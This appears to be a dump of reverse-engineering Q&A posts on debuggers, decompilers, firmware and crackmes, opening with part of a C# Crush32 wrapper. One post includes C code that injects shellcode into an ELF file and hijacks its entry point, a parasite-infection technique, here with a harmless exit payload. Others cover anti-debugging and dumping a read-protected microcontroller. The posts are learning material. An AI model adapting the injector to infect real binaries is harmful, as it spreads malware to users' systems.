+        /// <returns>The ""ExpectedResponse"" matching your given Challenge and your Password, use this in decryption later.</returns>
+        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
+        private static extern uint cxBufEncrypt(IntPtr Buffer, int Length, uint Challenge);
+
+        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
+        private static extern uint cxBufEncrypt(byte* Buffer, int Length, uint Challenge);
+
+
+        /// <summary>
+        /// Sets a password for the encryption and decryption methods.
+        /// </summary>
+        /// <param name=""PtrPasswordString"">A pointer to the nullterminated passwordstring in memory.</param>
+        /// <returns>cxERROR statevalue</returns>
+        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
+        private static extern short cxSetPassword(IntPtr PtrPasswordString);
+
+        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
+        private static extern short cxSetPassword(byte* Password);
+
+        /// <summary>
+        /// Compresses the data from the InputBuffer to the OutputBuffer.
+        /// </summary>
+        /// <param name=""InputBuffer"">A pointer to read inputdata from.</param>
+        /// <param name=""OutputBuffer"">A pointer to write outputdata to.</param>
+        /// <param name=""InputLength"">How many bytes should be read from input buffer.</param>
+        /// <returns>The length of the compressed data.</returns>
+        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
+        private static extern int cxBuf2BufCompress(IntPtr InputBuffer, IntPtr OutputBuffer, int InputLength);
+
+        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
+        private static extern int cxBuf2BufCompress(byte* InputBuffer, byte* OutputBuffer, int InputLength);
+
+        /// <summary>
+        /// Decompresses the data from the InputBuffer to the OutputBuffer.
+        /// </summary>
+        /// <param name=""InputBuffer"">A pointer to read inputdata from.</param>
+        /// <param name=""OutputBuffer"">A pointer to write outputdata to.</param>
+        /// <param name=""DecompressedLength"">The length of the data in decompressed state.</param>
+        /// <param name=""CompressedLength"">The length of the data in compressed state.</param>
+        /// <returns>cxERROR statevalue</returns>
+        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
+        private static extern short cxBuf2BufExpand(IntPtr InputBuffer, IntPtr OutputBuffer, int DecompressedLength, int CompressedLength);
+
+        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
+        private static extern short cxBuf2BufExpand(byte* InputBuffer, byte* OutputBuffer, int DecompressedLength, int CompressedLength);
+
+        /// <summary>
+        /// Creates a CRC32 for the data in the Buffer.
+        /// Note: The used algorithm is equal to
+        /// http://damieng.com/blog/2006/08/08/calculating_crc32_in_c_and_net
+        /// </summary>
+        /// <param name=""Buffer"">A pointer to read the data to CRC.</param>
+        /// <param name=""Length"">How many bytes should be read from pointer.</param>
+        /// <returns>The created CRC32</returns>
+        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
+        public static extern uint cxBufCRC32(IntPtr Buffer, int Length);
+
+        #endregion
+        #region Public Wrappers
+
+        /// <summary>
+        /// Fast decompresses data from managed sourcebuffer to managed targetbuffer using pointers
+        /// </summary>
+        /// <param name=""SourceBuffer"">SourceBuffer containing compressed data</param>
+        /// <param name=""SourceIndex"">Cursor in SourceBuffer to start reading</param>
+        /// <param name=""TargetBuffer"">TargetBuffer for decompressed data</param>
+        /// <param name=""TargetIndex"">Cursor in TargetBuffer to start writing</param>
+        /// <param name=""UncompressedLength"">Uncompressed data length</param>
+        /// <param name=""CompressedLength"">Compressed data length</param>
+        /// <returns>True if the operation was successful.</returns>
+        public static bool Decompress(byte[] SourceBuffer, int SourceIndex, byte[] TargetBuffer, int TargetIndex, int UncompressedLength, int CompressedLength)
+        {
+            bool isSuccessful = false;
+
+            // init crush32
+            if (Crush32.CX_SUCCESS == Crush32.cxInit())
+            {
+                if (Crush32.CX_SUCCESS == Crush32.cxBuf2BufInit())
+                {
+                    // pin the managed source & targetbuffers in memory so crush32 can access them
+                    // and we can directly use them without marshaling.
+                    fixed (byte* ptrSourceBuffer = SourceBuffer, ptrTargetBuffer = TargetBuffer)
+                    {
+                        // add the offsets to the pointers (they still point to the beginning of the buffer)
+                        byte* ptrSourceIndex = ptrSourceBuffer + SourceIndex;
+                        byte* ptrTargetIndex = ptrTargetBuffer + TargetIndex;
+
+                        if (Crush32.CX_SUCCESS == Crush32.cxBuf2BufExpand(ptrSourceIndex, ptrTargetIndex, UncompressedLength, CompressedLength))
+                            isSuccessful = true;
+
+                    }
+
+
+
+                    Crush32.cxBuf2BufClose();
+                }
+
+                Crush32.cxCleanup();
+            }
+
+            return isSuccessful;
+        }
+
+        /// <summary>
+        /// Fast compresses data from managed sourcebuffer to managed targetbuffer using pointers
+        /// </summary>
+        /// <param name=""SourceBuffer"">SourceBuffer containing data to be compressed</param>
+        /// <param name=""SourceIndex"">Cursor in SourceBuffer to start reading</param>
+        /// <param name=""TargetBuffer"">TargetBuffer for compressed data</param>
+        /// <param name=""TargetIndex"">Cursor in TargetBuffer to start writing</param>
+        /// <param name=""UncompressedLength"">Uncompressed data length in SourceBuffer</param>
+        /// <returns>Compressed length</returns>
+        public static int Compress(byte[] SourceBuffer, int SourceIndex, byte[] TargetBuffer, int TargetIndex, int UncompressedLength)
+        {
+            int compressedLength = 0;
+
+            // init crush32
+            if (Crush32.CX_SUCCESS == Crush32.cxInit())
+            {
+                if (Crush32.CX_SUCCESS == Crush32.cxBuf2BufInit())
+                {
+                    // pin the managed source & targetbuffers in memory so crush32 can access them
+                    // and we can directly use them without marshaling.
+                    fixed (byte* ptrSourceBuffer = SourceBuffer, ptrTargetBuffer = TargetBuffer)
+                    {
+                        // add the offsets to the pointers (they still point to the beginning of the buffer)
+                        byte* ptrSourceIndex = ptrSourceBuffer + SourceIndex;
+                        byte* ptrTargetIndex = ptrTargetBuffer + TargetIndex;
+
+                        // compress
+                        compressedLength = Crush32.cxBuf2BufCompress(ptrSourceIndex, ptrTargetIndex, UncompressedLength);
+                    }
+
+                    Crush32.cxBuf2BufClose();
+                }
+
+                Crush32.cxCleanup();
+            }
+
+            return compressedLength;
+        }
+
+        /// <summary>
+        /// Fast decrypt data in managed buffer using pointer
+        /// </summary>
+        /// <param name=""SourceBuffer"">SourceBuffer containing encrypted data</param>
+        /// <param name=""SourceIndex"">Cursor in SourceBuffer to start reading</param>
+        /// <param name=""Length"">Encrypted data length</param>
+        /// <param name=""Challenge"">Challenge to use</param>
+        /// <param name=""ExpectedResponse"">ExpectedRespone to use</param>
+        /// <param name=""Password"">Password to use</param>
+        /// <returns>True if the operation was successful.</returns>
+        public static bool Decrypt(byte[] SourceBuffer, int SourceIndex, int Length, uint Challenge, uint ExpectedResponse, byte[] Password)
+        {
+            bool isSuccessful = false;
+
+            // pin the managed sourcebuffer in memory so crush32 can access
+            // and we can directly use without marshaling.
+            fixed (byte* ptrSourceBuffer = SourceBuffer)
+            {
+                // add the offsets to the pointers (they still point to the beginning of the buffer)
+                byte* ptrSourceIndex = ptrSourceBuffer + SourceIndex;
+                isSuccessful = Decrypt(ptrSourceIndex, Length, Challenge, ExpectedResponse, Password);
+            }
+
+            return isSuccessful;
+        }
+
+        /// <summary>
+        /// 
+        /// </summary>
+        /// <param name=""SourceBuffer""></param>
+        /// <param name=""Length""></param>
+        /// <param name=""Challenge""></param>
+        /// <param name=""ExpectedREsponse""></param>
+        /// <param name=""Password""></param>
+        /// <returns></returns>
+        public static unsafe bool Decrypt(byte* SourceBuffer, int Length, uint Challenge, uint ExpectedResponse, byte[] Password)
+        {
+            bool isSuccessful = false;
+
+            // init crush32
+            if (Crush32.CX_SUCCESS == Crush32.cxInit())
+            {
+                if (Crush32.CX_SUCCESS == Crush32.cxBuf2BufInit())
+                {
+                    // pin the managed sourcebuffer in memory so crush32 can access
+                    // and we can directly use without marshaling.
+                    fixed (byte* ptrPassword = Password)
+                    {
+                        // set password && decrypt
+                        if (Crush32.CX_SUCCESS == Crush32.cxSetPassword(ptrPassword))
+                            if (Crush32.CX_SUCCESS == Crush32.cxBufDecrypt(SourceBuffer, Length, Challenge, ExpectedResponse))
+                                isSuccessful = true;
+                    }
+
+                    Crush32.cxBuf2BufClose();
+                }
+
+                Crush32.cxCleanup();
+            }
+
+            return isSuccessful;
+        }
+
+        /// <summary>
+        /// Fast encrypt data in managed buffer using pointer
+        /// </summary>
+        /// <param name=""SourceBuffer"">SourceBuffer containing data to be encrypted</param>
+        /// <param name=""SourceIndex"">Cursor in SourceBuffer to start reading</param>
+        /// <param name=""Length"">Length of data to be encrypted</param>
+        /// <param name=""Challenge"">Challenge to use</param>
+        /// <param name=""Password"">Password to use</param>
+        /// <returns>ExpectedResponse for Challenge/Password combination.</returns>
+        public static uint Encrypt(byte[] SourceBuffer, int SourceIndex, int Length, uint Challenge, byte[] Password)
+        {
+            uint expectedResponse = 0;
+
+            // pin the managed sourcebuffer in memory so crush32 can access
+            // and we can directly use without marshaling.
+            fixed (byte* ptrSourceBuffer = SourceBuffer, ptrPassword = Password)
+            {
+                // add the offsets to the pointers (they still point to the beginning of the buffer)
+                byte* ptrSourceIndex = ptrSourceBuffer + SourceIndex;
+                expectedResponse = Encrypt(ptrSourceIndex, Length, Challenge, Password);
+            }
+
+            return expectedResponse;
+        }
+
+        /// <summary>
+        /// Fast encrypt data on unmanaged pointer
+        /// </summary>
+        /// <param name=""SourceBuffer""></param>
+        /// <param name=""Length""></param>
+        /// <param name=""Challenge""></param>
+        /// <param name=""Password""></param>
+        /// <returns></returns>
+        public static unsafe uint Encrypt(byte* SourceBuffer, int Length, uint Challenge, byte[] Password)
+        {
+            uint expectedResponse = 0;
+
+            // init crush32
+            if (Crush32.CX_SUCCESS == Crush32.cxInit())
+            {
+                if (Crush32.CX_SUCCESS == Crush32.cxBuf2BufInit())
+                {
+                    // pin the managed sourcebuffer in memory so crush32 can access
+                    // and we can directly use without marshaling.
+                    fixed (byte* ptrPassword = Password)
+                    {
+                        // set password && encrypt
+                        if (Crush32.CX_SUCCESS == Crush32.cxSetPassword(ptrPassword))
+                            expectedResponse = Crush32.cxBufEncrypt(SourceBuffer, Length, Challenge);
+                    }
+
+                    Crush32.cxBuf2BufClose();
+                }
+
+                Crush32.cxCleanup();
+            }
+
+            return expectedResponse;
+        }
+        #endregion
+        #region Public main
+        [STAThread]
+        static void Main(string[] args)
+        {
+            byte[] Data = File.ReadAllBytes(""s001.bli"");
+                int CompressedLength = Data.Length;
+                int UncompressedLength = 0;
+                byte[] decompressedPixelData = new byte[UncompressedLength];
+                bool result = Crush32.Decompress(Data, 15, decompressedPixelData, 0, (int)UncompressedLength, CompressedLength);
+                string s = ""{"" +
+                        string.Join("", "",
+                            decompressedPixelData.Select(x => string.Format(""0x{0}"", x.ToString(""X"")))
+                        ) + ""}"";
+                Console.WriteLine(s);
+                Console.ReadKey(true);
+
+        }
+        #endregion
+    }
+}
+
+" +"['debugging', 'ollydbg']"," Title: Call Stack vs Intermodular Calls in OllydbgBody: What is the difference between call stack and intermodular calls. Could you clarify the difference between the two? For example if I need to catch message box API function, do these methods serve the same purpose? +" +"['ida', 'x86', 'decompilation', 'hexrays', 'decompiler']"," Title: IDA Hex-Rays Decompiler Generates ASM Code IssueBody: For a long time now, I've been struggling with some functions generated with IDA HexRays plugin that seem to be corrupted. + +Some of the decompiled generated plain C code, show as ASM code :/ + +i.e: + +
  sqrt(v4);
+  __asm
+  {
+    fstp    [esp+24h+var_C]
+    fld     [esp+24h+var_C]
+    fstp    [esp+24h+var_14]
+    fldz
+  }
+
+ +What could be the cause for this? possibly wrong stack pointers? I must admit that sometimes I also get the famous sp issue that I always fix by ALT + K and adjust the negative stack pointer, but the generated ASM code issue has happened to some functions before I even did that. + +Note that when I load the same executable into another IDA instance and go to that same function memory, the decompiled code looks fine, so I'm guessing some how the database instance I'm working on due to one of my changes(probably structures layout) made that function failed? + +Is there a way also fixing that so the generated code will look as plain C again? +I already tried to undefine the corrupted function and re-analyze it, but the output code will still be as ASM. + +Thanks in advance! +" +['elf']," Title: How reverse a stripped binary (Find the main function)Body: I'm learning the reverse, and I'm trying to reverse a stripped binary (flag: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped). I manage to go to the entry address that points to the _start function. But impossible to know where is libc_start_main (for locate main). + +_start: https://ibb.co/nDpQyvv + +sub_44a770: https://ibb.co/dK74pG5 + +sub_44a560: https://ibb.co/7S76m7t + +All your advice is good, if you have articles on the subject, I'm interested. Thank you +" +"['binary-analysis', 'x64dbg']"," Title: What does this function actually do?Body: I'm taking part in this reverse engineering lab at college and we have this final big homework project. I have a part of the binary that changes it's own asm code by iterating through it's own bytes and add-ing or maybe xor-ing and then rewriting them back to memory. + +I'm stuck at this function that I managed to decompile using x64dbg to the following (variable naming changed by me) + +
uint8_t fun_401c05(uint8_t argument) {
+    uint8_t counter;
+
+    counter = 0;
+    if (argument) {
+        do {
+            counter = (uint8_t)(counter + 1);
+            argument = (uint8_t)(argument & (uint8_t)(argument - 1));
+        } while (argument);
+    }
+    return counter;
+}
+
+ +I'm trying to understand what exactly this function does. I know the function is called 3 times, each time with a letter from my input file. Each of the results is then processed using xor and some sar instruction (it's my first time seeing it) to calculate an int key that grants access to the next part of the challenge and I need to understand what the function does in order to give it the right input. I can see what it does but can't really get the meaning of it just yet.. + +EDIT: I know the name of the question is bad but I have no idea what other generic name to give it. If someone can help I'll be very grateful +" +"['windows', 'debugging', 'anti-debugging']"," Title: Debug program using peculiar anti-debugging techniqueBody: In my BA thesis, I wanted to present a program for Windows, using various anti-debugging techniques. + +One of them, which I came up on my own (possibly it is well known, but I didn't find it anywhere) involves changing control flow by using signal handlers. As far as I know, when program receives certain signal and has a function registered to handle it, the main thread is paused and the execution is passed to the handler. After it returns from the function, the main thread can either continue execution, or even terminate in case where SIGFPE or SIGSEGV was passed, for example (see this question). + +However, in such a case, it is possible to cause the thread executing handler not to stop after it leaves handler scope. The anti-debugging technique I've mentioned before takes advantage of this fact and is presented below. + +First of all, I'm aware that the code I'm about to present uses concepts that should never appear in a real program, should be avoided in almost every situation and never tried at home :). After establishing this, consider the following program: (I'm using GCC targeting minGW to compile it) + +
#include <csignal>
+#include <windows.h>
+#include <cstdio>
+
+void handler(int)
+{
+    asm(""jmp continue""); // do not return from this function; just jump to another place in the code
+}
+
+int main()
+{
+    signal(SIGFPE, handler); // I know that sigaction should be used instead, but it's simpler and, as far as I know it wouldn't work for Windows
+    // and I know, that after receiving second signal, there will be undefined behaviour, but let's assume it won't happen
+    int a = 1 / 0; // cause SIGFPE to happen
+    asm(""continue:"");
+    printf(""continue execution\n"");
+    Sleep(5000); // to show a printed message for a while, so that the console is not being closed immediately
+    ExitProcess(0);
+}
+
+ +So here comes my question: how could be such a program debugged, such that it's possible to see printf(""continue execution\n""); line being executed? + +When I tried to do this using Code::Blocks debugger (GDB), only the information that a program received SIGFPE appeared and the program crushed without printing ""continue execution"" string. + +On the other hand, when I tried to debug it in OllyDbg, execution just stopped, nothing was printed on the screen, and I wasn't able to continue execution to the point where this string should be printed. + +Upon ""normal"" execution it prints the string end finishes as expected. + +Edit: +I've also tried to pass the exception to the application (using SHIFT+F7), but I only get message saying ""Debugged program was unable to process exception"" and I'm unable to continue the execution. + +Edit2: I will not upload the binary, since when I tried to download it, my antivirus software started to complain about it, so it would probably be marked as suspicious if someone else downloaded it. +" +"['disassembly', 'assembly', 'x64dbg']"," Title: What does ds mean?Body: When debugging with x64dbg I sometimes see mov ss:[address] 0xAA, I know that this means: move 0xAA into memory at specified address. + +But what does + +
mov ds:[address] 0xAA
+
+ +mean? +" +['x64dbg']," Title: Storing a string with with x64dbgBody: I want to patch a Windows binary (actually an ocx) with x64dbg. More specifically, I want to store a string of 60 bytes and store its address in EAX at a certain point. + +Do I just have to add it to a free spot in the memory dump and store its address in EAX? Or should open the file with a hex editor and add my string to the end and then somehow reference to that address? + +The problem is that I don't really have grasp on what these dump windows mean. Why are there 5 and what's inside? +" +"['ida', 'decompilation', 'hexrays']"," Title: IDA Pro Reset All Stack Pointers to DefaultBody: Is there a way letting IDA scan all the database and reset all stack pointers values to it's default state that were previously modified? i.e like it was when I first started the analyzing the binary? + +I'm asking because I used to change the stack pointers for some functions I couldn't read due to having negative sp value and I didn't know that it's going to affect all it's caller functions. So I would like to reset all stack pointers in all the database(Using IDA Pro 7.0). +" +"['debugging', 'binary-analysis', 'decompilation', 'unpacking', 'virtual-machines']"," Title: custom virtual machine protectionBody: How someone would go to reverse engineer a sample protected with a virtual machine? The problem is that it's not opcode anymore it's bytecode which I don't have any idea about because it's a private virtual machine so how you would go about solving this problem taking into account that ida pro and other tools doesn't work, some of you might say find the OEP will that's possible if it is a simple packer that unpack it self completely at the first hit but it's not the case in here. + +I'm looking for ideas on how to approach this problem. +" +"['ida', 'c++', 'vtables']"," Title: How to return a list of vtable methods?Body: I'm relatively new to scripting environments in disassemblers. What I am looking for is a way to dump all of the vtable methods from a C++ disassembly in such a way that I can access them later for further programmatic analysis. My intention is to pass them to another framework in order to do symbolic execution. + +Based on my naive understanding of the available options I am going to assume the easiest way to do this is IDA python. + +In IDA Python how can I gather the addresses and bodies of all methods contained in vtables? + +Extra Credit: The same for Binary Ninja or any other disassembler platform. +" +['windows']," Title: accessing nt!Kd_DEFAULT_MASK using dbh.exeBody: I would like to set the value of the above variable to 0xFFFFFFFF using command line. I was exploring dbh.exe and believe it will atleast give some clues on where the symbol is. But when I try the following command, it gives ""no symbol found"": + +
dbh.exe name nt!Kd_DEFAULT_MASK
+
+ +I may need to setup symbol path but is there a way other than this? +" +"['decompilation', 'arm', 'disassemblers', 'ghidra']"," Title: Can you change the architecture in Ghidra after importing?Body: I've been analyzing an ARMv7 binary for a while and have done a lot of work with it (e.g. labeling functions, creating structs, labeling globals etc.). Unfortunately, I just realized that Ghidra mistakenly selected ARMv8 when it was being imported, which is causing some decompilation issues. + +Is there a way to change the architecture at this point without needing to reimport? I know you can override the architecture when its being imported, but I have yet to figure out how to change the architecture after the fact. +" +"['ida', 'decompilation', 'idapython']"," Title: IDA Copy structure from one database instance to anotherBody: This question sounds rather simple, but I can't seem to find any option for this. + +I'm basically re-creating another database instance of the same binary I already reversed and I want to copy some of the structures I previously created in the previous instance to my new fresh IDA database instance. +Is there any way of doing so? + +Thanks! +" +['hardware']," Title: How does cartridge protection distinguish an original vs fake cartridge?Body: Based on what explained here, genuine ink cartridges may come with cartridge protection embedded in their chip. Once an ink cartridge is installed, printer will mark it as protected. + +What is embedded in the chip? + +How can we make sure that it is original and not duplicated with a 3rd party? + +Is this a safe and well-known offline security protocol? (it will be great if some one can point me to a reference about it) +" +"['linux', 'elf', 'x86-64']"," Title: Changing entry-point of and ELF fileBody: I'm trying to conduct a little experiment which basically consists of changing the EP of an ELF file and executing an exit(9) syscall, without returning to the OEP. As shown in the image everything seems fine + +However when I run the original program it segfaults rather than exiting via the exit(9), I can't figure out why. What's really happening here? + +EDIT: +Here's how I'm changing the entry-point: + +
#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <sys/mman.h>
+#include <elf.h>
+#include <stdint.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <string.h>
+
+
+#define INVALID_IDX -32
+#define PAGE_SIZE   4096
+
+int check_elf(uint8_t *, char **);
+
+
+
+
+// exit(9) 
+unsigned char shellcode[] = ""\x48\x31\xc0""
+                ""\xb0\x3c""
+                ""\x40\xb7\x09""
+                ""\x0f\x05"";
+
+
+unsigned char nop_sled[] = ""\x90\x90\x90\x90\x90""
+               ""\x90\x90\x90\x90\x90""
+               ""\x90\x90\xcc\x90\x90""
+               ""\x90\x90\x90\x90\x90"";
+
+
+int main(int argc, char **argv)
+{
+    int fd, i;
+    uint8_t *mapped_file;
+    struct stat st;
+    char *interp;
+    int magic = 1337;
+
+    Elf64_Ehdr *ehdr = NULL;
+    Elf64_Phdr *phdr = NULL;
+    Elf64_Shdr *shdr = NULL;
+
+    if (argc < 2)
+    {
+        printf(""Usage: %s <executable>\n"", argv[0]);
+        exit(EXIT_SUCCESS);
+    }
+
+    fd = open(argv[1], O_RDWR);
+
+    if (fd < 0)
+    {
+        perror(""open"");
+        exit(EXIT_FAILURE);
+    }
+
+    if (fstat(fd, &st) < 0)
+    {
+        perror(""fstat"");
+        exit(EXIT_FAILURE);
+    }
+
+    /* map whole executable into memory */
+    mapped_file = mmap(NULL, st.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
+
+    if (mapped_file < 0)
+    {
+        perror(""mmap"");
+        exit(EXIT_FAILURE);
+    }
+
+    check_elf(mapped_file, argv);
+
+    ehdr = (Elf64_Ehdr *) mapped_file;
+    phdr = (Elf64_Phdr *) &mapped_file[ehdr->e_phoff];
+    shdr = (Elf64_Shdr *) &mapped_file[ehdr->e_shoff];
+
+
+    if (ehdr->e_type != ET_EXEC)
+    {
+        fprintf(stderr, ""%s is not an ELF executable.\n"", argv[1]);
+        exit(EXIT_FAILURE);
+    }
+
+    printf(""Program entry point: %08x\n"", ehdr->e_entry);
+
+
+    char jmp_code[7];
+    int text_found = 0;
+    uint64_t parasite_addr;
+    uint64_t text_end;
+    size_t parasite_len = strlen(shellcode);
+    int text_idx = INVALID_IDX;
+    for (i = 0; i < ehdr->e_phnum; ++i)
+    {
+
+        if (text_found)
+        {
+            phdr[i].p_offset += PAGE_SIZE;
+            continue;
+        }
+
+
+        if (phdr[i].p_type == PT_LOAD && phdr[i].p_flags == ( PF_R | PF_X))
+        {
+            // set parasite  to the end of the text segment
+            parasite_addr = phdr[i].p_vaddr + phdr[i].p_filesz;
+            text_end = phdr[i].p_vaddr + phdr[i].p_filesz;
+
+            printf(""TEXT SEGMENT ends at 0x%x\n"", text_end);
+            text_idx = i;
+
+            puts(""Changing entry point..."");
+            ehdr->e_entry = (Elf64_Addr)parasite_addr;
+
+            memmove(mapped_file + phdr[i].p_offset + phdr[i].p_filesz, 
+                    shellcode, parasite_len);
+
+
+
+
+            phdr[i].p_filesz += parasite_len;
+            phdr[i].p_memsz += parasite_len;    
+
+            text_found++;
+        }
+
+
+    }
+
+    //patch sections
+
+    for (i = 0; i < ehdr->e_shnum; ++i)
+    {
+        if (shdr->sh_offset >= parasite_addr)
+            shdr->sh_offset += PAGE_SIZE;
+
+        else
+            if (shdr->sh_size + shdr->sh_addr == parasite_addr)
+                shdr->sh_size += parasite_len;
+    }
+
+    ehdr->e_shoff += PAGE_SIZE;
+    close(fd);
+
+
+}
+
+
+
+int check_elf(uint8_t *mapped_file, char **argv)
+{
+    const uint8_t magic[] = {0x7F, 'E', 'L', 'F'};
+
+    if (memcmp(magic, mapped_file, sizeof(magic)))
+    {
+        fprintf(stderr, ""%s is not an ELF file.\n"", argv[1]);
+        exit(EXIT_FAILURE);
+    }
+
+    return 1;
+}
+
+ +As for the program whose entry-point i'm trying to change it's just a simple hello world. +" +"['pe', 'unpacking']"," Title: Large number of exports defined in a PE .exe fileBody: I have a (non-malicious) PE exe that I'm analyzing, which is using the Themida/WinLicense packer and noticed that it has 479 defined exports, which seems odd for an exe. Some of the functions are specific to the application, others are from the boost and QT libraries. Any idea why this would be? Is it a side effect of Themida, or a mistake by the app developers? +" +['radare2']," Title: Invert stack view in radare2Body: Is it possible to invert the stack view when debugging in radare2 such that higher addresses are at the top? +" +"['disassembly', 'embedded']"," Title: How to identify memory access locationsBody: I'm working on disassembling a flash dump from a TriCore TC1766 which came from a car (an MT86 ECU). My goal is to identify tables and scalars in the data area, and determine what they are used for. I used a heat map analysis to locate 200+ potential tables based on a pattern I found and I verified my results were (mostly) valid based on some known table locations. The table dimensions are known as well. + +Since i'm working blind with only a disassembler (IDA Pro), I'm finding it difficult to even get started. I know the addresses for a few tables and 2 scalars but I cannot find any references to them in the disassembled code. + +I know that each of the table values and the scalers need to be converted in some way to get the correct values. For example, A scalar located at 0x30D4C has the following bytes F8 D9 and when reversed, are an integer of 55,800 which is then multiplied by 0.125 to get the target value of 6975 which is the maximum RPM that the ECU will let the engine spin to. + +I was thinking if I could find where the operations were that did this conversion, i'd have a place to start navigating. But, I'm not really sure how the operations would be done, would it be a multiply opcode or would it be bit shifting? I have no idea what compiler options were used or what optimizations were used when the code was built. + +What are some techniques I can use to find where these memory locations are referenced? + +Heat map of a known table that is 13x19 + + +Same table in IDA before the analysis + + +Same table in IDA after the analysis + + +If I look for any XREFs on dword_208C8 there aren't any + + +" +"['file-format', 'executable']"," Title: I have a .exe program file compiled using Intel Fortran 8.1. for windows 10. Can I edit the code off the .exe file?Body: I have a .exe program file compiled using Intel Fortran 8.1 for Windows under WinXP with 64-bit Windows 10 system. + +Can I edit the code off the .exe file? I need to change a value in the code. + +Thank you! +" +"['disassembly', 'x86', 'c', 'obfuscation', 'crackme']"," Title: Mysterious chunk of code in IOLI crackme0x06 challengeBody: I've been struggling to understand a very strange piece of x86 assembly code from the IOLI crackme0x06 challenge. + +

Context

+ +But first of all, here is the context : I've successfully cracked the challenge, which by the way simply needs : + +
    +
  1. An even number
  2. +
  3. This number being in the range of 32-bit representation of signed integers, ie between (INT32_MIN) and (INT32_MAX) (due to the call to sscanf which apparently performs integer saturation on the input if it's greater than INT32_MAX)
  4. +
  5. An environment variable - whose name shall begin by 'LOL' - being exported in the crackme process environment.
  6. +
+ +

The issue

+ +Now, for completeness purposes, I'm trying to grasp the purpose of every single instruction of this crackme, but so far, I'm struggling to understand how the following code (from ##loop beginning to ##loop end) from the sym.parell function is actually useful in anyway to the program : + +

+    0804851a <parell>:    
+     804851a:       push   ebp
+     804851b:       mov    ebp,esp
+     804851d:       sub    esp,0x18
+     8048520:       lea    eax,[ebp-0x4]
+     8048523:       mov    DWORD PTR [esp+0x8],eax
+     8048527:       mov    DWORD PTR [esp+0x4],0x804873d
+     804852f:       mov    eax,DWORD PTR [ebp+0x8]
+     8048532:       mov    DWORD PTR [esp],eax
+     8048535:       call   80483c8 <sscanf@plt>
+     804853a:       mov    eax,DWORD PTR [ebp+0xc]
+     804853d:       mov    DWORD PTR [esp+0x4],eax
+     8048541:       mov    eax,DWORD PTR [ebp-0x4]
+     8048544:       mov    DWORD PTR [esp],eax
+     8048547:       call   80484b4 <dummy>
+     804854c:       test   eax,eax
+     804854e:       je     8048586 <parell+0x6c>
+     8048550:       mov    DWORD PTR [ebp-0x8],0x0   # Initialization of i (see pseudo-code below)
+     8048557:       cmp    DWORD PTR [ebp-0x8],0x9   ## loop beginning
+     804855b:       jg     8048586 
+     804855d:       mov    eax,DWORD PTR [ebp-0x4]   # Handling password's parity check
+     8048560:       and    eax,0x1
+     8048563:       test   eax,eax
+     8048565:       jne    804857f <parell+0x65>
+     8048567:       mov    DWORD PTR [esp],0x8048740
+     804856e:       call   80483b8 <printf@plt>
+     8048573:       mov    DWORD PTR [esp],0x0
+     804857a:       call   80483e8 <exit@plt>
+     804857f:       lea    eax,[ebp-0x8]
+     8048582:       inc    DWORD PTR [eax]
+     8048584:       jmp    8048557 <parell+0x3d>     ## loop end
+     8048586:       leave
+     8048587:       ret
+
+ +It seems to be equivalent to the following pseudo-code : + + + +
    for (int i = 0; i <= 9; ++i)
+            if LSB (password) is 0    // ie if password is an even number
+                printf(""Password OK!\n"");
+                exit(0);
+
+ +But the thing is, looping from 0 to 9 won't do anything relevant for the parity check of the number ...
+And as far as the password testing is concerned, the computation taking place in the sym.parell function is never impacted by such a loop ! + +
+ +I've been scratching my head over that for hours, but I really couldn't figure out its exact purpose. + +Had this challenge not been for beginners (by the way it's the first hands-on lab of the RPISEC academic course), I would have thought that this is just some silly obfuscation/junk code technique meant to deflect the attention of the attacker, which is obviously not the case.
+This series of challenges is only aiming at helping newbies build strong basics in the field. + +
+ +Am I wrong ?
+So, seriously, what is the aforementioned code's purpose in this program ? +" +['firmware']," Title: Find File System in FirmwareBody: This is my first attempt at working with firmware. We have some SNMP cards that are flaky & my ultimate goal is to try to make them better. + +The current firmware version is 12.06.0069. When downloaded, the firmware folder contains several files: + + + +I've been trying to use binwalk to locate the filesystem. So far, the only thing I've found is a few lines that say ""gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), NULL date (1970-01-01 00:00:00). Here is how I got there: + +
binwalk -e rom.12.069.0001.3078.sbz2
+
+cd _rom.12.069.0001.3078.sbz2.extracted
+
+ls
+
+418
+
+binwalk 418
+
+ + + + +" +"['memory-dump', 'copy-protection']"," Title: How to Dump a locked PICBody: I have tried these few days to read a PIC18F microcontroller which is locked.it says all protected (0000 E0FF 40FF).then i found out that it is possible to bypass the CRP on some of these microcontrollers by writing a small program into the bootloader (i think this is called heart of darkness) but didn't find that program to try to dump my PIC18F6722. +If someone knows a particular method to dumping firmware on this microchip please let me know +Thank you +" +['radare2']," Title: radare2 wrong outputBody: I saw rasm2 giving different output each time for x64 +Take a look at this: + +
C:\WINDOWS\system32>rasm2 -a x86 -b 64 -d ""41f6c7FF""
+test r15b, 0xff
+
+C:\WINDOWS\system32>rasm2 -a x86 -b 64 ""test r15b, 0xff""
+f7ffff000000
+
+C:\WINDOWS\system32>rasm2 -v
+rasm2 3.5.1 1 @ windows-x86-64 git.3.5.1
+commit: 4ec482ba2d4f554beeafb3aa47758e970bcab937 build: Wed 05/15/2019__ 7:58:44.85
+
